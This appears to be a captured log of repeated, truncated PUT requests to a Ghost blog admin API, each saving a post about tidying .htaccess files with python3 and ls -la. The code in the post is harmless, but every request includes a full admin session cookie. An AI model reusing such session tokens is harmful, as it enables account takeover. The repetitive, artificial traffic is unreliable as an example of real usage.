sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8209", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8121", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8204", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8454", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess guide\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"link\\\",\\\"version\\\":1,\\\"rel\\\":null,\\\"target\\\":null,\\\"title\\\":null,\\\"url\\\":\\\"http://example.com/docs/htaccess\\\"},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\". On Windows, use \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":1,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"powershell\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" instead; it's the same idea.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A small script\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h3\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"#!/usr/bin/env python3\\\\nimport os, subprocess\\\\nfor name in sorted(os.listdir(\\\\\\\".\\\\\\\")):\\\\n print(name)\\\\nsubprocess.run([\\\\\\\"ls\\\\\\\", \\\\\\\"-la\\\\\\\", \\\\\\\"/var/www/html\\\\\\\"], check=True)\\\\n\\\",\\\"language\\\":\\\"python\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"cat /etc/hosts | grep example\\\\nls -la /var/www/html/.htaccess && chmod 644 .htaccess\\\\nmysql -e \\\\\\\"SELECT id, title FROM posts WHERE status = 'published' ORDER BY id DESC LIMIT 5;\\\\\\\"\\\\n\\\",\\\"language\\\":\\\"bash\\\",\\\"caption\\\":\\\"\\\"},{\\\"type\\\":\\\"codeblock\\\",\\\"version\\\":1,\\\"code\\\":\\\"document.querySelectorAll('a').forEach((a) => console.log(a.href));\\\\nwindow.onload = () => alert('ready');\\\\n\\\",\\\"language\\\":\\\"javascript\\\",\\\"caption\\\":\\\"\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"\\\\\\\"Keep your .htaccess small,\\\\\\\" said one reader -- and python3 agrees.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-quote\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\Line truncated
|
||||||
|
{"method": "PUT", "target": "/ghost/api/admin/posts/6af458a5d281b00001a59969/?formats=mobiledoc%2Clexical&include=tags%2Cauthors%2Cauthors.roles%2Cemail%2Ctiers%2Cnewsletter%2Ccount.clicks%2Cpost_revisions%2Cpost_revisions.author", "headers": ["Host: example.com", "Content-Length: 8273", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"posts\":[{\"title\":\"Using python3 and ls -la to tidy .htaccess files\",\"slug\":\"using-python3-and-ls-la-to-tidy-htaccess-files-2\",\"lexical\":\"{\\\"root\\\":{\\\"children\\\":[{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"A short guide for site owners: powershell, python3 and the shell.\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"paragraph\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Getting started\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1}],\\\"direction\\\":\\\"ltr\\\",\\\"format\\\":\\\"\\\",\\\"indent\\\":0,\\\"type\\\":\\\"extended-heading\\\",\\\"version\\\":1,\\\"tag\\\":\\\"h2\\\"},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"Run \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":16,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"ls -la\\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\" in your web root, then open \\\",\\\"type\\\":\\\"extended-text\\\",\\\"version\\\":1},{\\\"children\\\":[{\\\"detail\\\":0,\\\"format\\\":0,\\\"mode\\\":\\\"normal\\\",\\\"style\\\":\\\"\\\",\\\"text\\\":\\\"the .htaccess 